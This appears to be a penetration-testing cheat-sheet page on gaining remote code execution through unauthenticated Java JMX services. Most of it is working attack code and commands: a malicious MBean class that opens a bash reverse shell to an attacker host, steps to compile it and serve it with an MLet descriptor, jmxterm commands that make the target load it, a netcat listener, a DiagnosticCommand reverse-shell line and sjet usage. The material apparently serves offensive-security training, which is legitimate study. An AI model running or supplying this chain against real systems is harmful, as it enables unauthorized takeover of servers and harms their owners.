Skip to content
HackIndex logo

HackIndex

JMX MLet MBean Code Execution

2 min read Apr 4, 2026

Unauthenticated JMX access enables remote code execution through two primary paths: the MLet MBean which loads remote Java classes from a URL you control, and the DiagnosticCommand MBean which exposes a vmCommand operation for JVM-level command execution. Both execute in the context of the Java process user. Confirm unauthenticated access through JMX unauthenticated access assessment before proceeding.

Check for MLet MBean

MLet is a built-in JMX service that loads MBeans from remote URLs. Its presence enables arbitrary class loading from attacker-controlled infrastructure:

┌──(kali㉿kali)-[~]
└─$ echo -e 'open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\nbeans -d JMImplementation\nquit' | java -jar /opt/jmxterm.jar 2>/dev/null
JMImplementation:type=MBeanServerDelegate
JMImplementation:type=MLet
Explain command
-e Enable interpretation of backslash escape sequences in the string.
$TARGET_IP:1099 Target host and RMI registry port for the JMX RMI connection.
-jar Executes the specified JAR file as a Java application.
2>/dev/null Redirects stderr to /dev/null to suppress error output.

Build a Malicious MBean JAR

Create a Java class that executes an OS command when instantiated as an MBean:

// ExecMBean.java
public interface ExecMBean {}

// Exec.java
import java.io.*;
public class Exec implements ExecMBean {
    public Exec() throws Exception {
        Runtime.getRuntime().exec(new String[]{
            "/bin/bash", "-c",
            "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
        });
    }
}
┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/jmxpayload
┌──(kali㉿kali)-[~]
└─$ cat > /tmp/jmxpayload/ExecMBean.java << 'EOF'
public interface ExecMBean {}
EOF
┌──(kali㉿kali)-[~]
└─$ cat > /tmp/jmxpayload/Exec.java << EOF
import java.io.*;
public class Exec implements ExecMBean {
public Exec() throws Exception {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"});
}
}
EOF
┌──(kali㉿kali)-[~]
└─$ cd /tmp/jmxpayload && javac *.java && jar cf exec.jar *.class

Create MLet File and Serve It

The MLet service loads MBeans from an HTML-like descriptor file. Serve both the descriptor and the JAR from a Python web server:

┌──(kali㉿kali)-[~]
└─$ cat > /tmp/jmxpayload/mlet.html << EOF
<html>
<mlet code="Exec" archive="exec.jar" name="exploit:name=exec" codebase="http://$LHOST:8000/"></mlet>
</html>
EOF
┌──(kali㉿kali)-[~]
└─$ cd /tmp/jmxpayload && python3 -m http.server 8000 &
Serving HTTP on 0.0.0.0 port 8000 ...

Load the Malicious MBean via MLet

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT &
Explain command
-l Listen mode, waits for incoming connections.
-v Verbose output, shows connection details.
-n Skip DNS resolution, use numeric IPs only.
-p Specifies the local port number to listen on.
$LPORT Placeholder for the local port number to bind.
& Runs the process in the background.
open service:jmx:rmi:///jndi/rmi://10.10.10.50:1099/jmxrmi
bean JMImplementation:type=MLet
run getMBeansFromURL http://LHOST:8000/mlet.html
┌──(kali㉿kali)-[~]
└─$ echo -e "open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\nbean JMImplementation:type=MLet\nrun getMBeansFromURL http://$LHOST:8000/mlet.html\nquit" | java -jar /opt/jmxterm.jar 2>/dev/null
#run getMBeansFromURL http://10.10.14.5:8000/mlet.html
[exploit:name=exec]
Explain command
-e Enable interpretation of backslash escape sequences in echo output.
$TARGET_IP:1099 Target host and RMI registry port for the JMX RMI service.
$LHOST:8000 Attacker-controlled host and port serving the malicious mlet.html.
-jar /opt/jmxterm.jar Execute the specified JAR file as the main application entry point.
2>/dev/null Redirect stderr to /dev/null to suppress error messages.

Alternative — DiagnosticCommand MBean

When DiagnosticCommand is available it provides direct JVM command execution without needing to serve a JAR:

open service:jmx:rmi:///jndi/rmi://10.10.10.50:1099/jmxrmi
bean com.sun.management:type=DiagnosticCommand
run vmCommand "System.exec('id')"
run vmCommand "System.exec('bash -c {bash,-i,>&,/dev/tcp/LHOST/LPORT,0>&1}')"

Alternative — sjet Automated Exploitation

sjet automates the MLet attack chain in a single command when operating outside exam environments:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/siberas/sjet && cd sjet
┌──(kali㉿kali)-[~]
└─$ python3 sjet.py $TARGET_IP 1099 super_secret executeCommand 'id'
Explain command
$TARGET_IP Target host IP address running the vulnerable JMX service.
1099 Target port number for the JMX RMI service.
super_secret JMX authentication password used to connect to the service.
executeCommand sjet action to execute an OS command via JMX.
'id' OS command to execute on the remote target (returns current user info).

References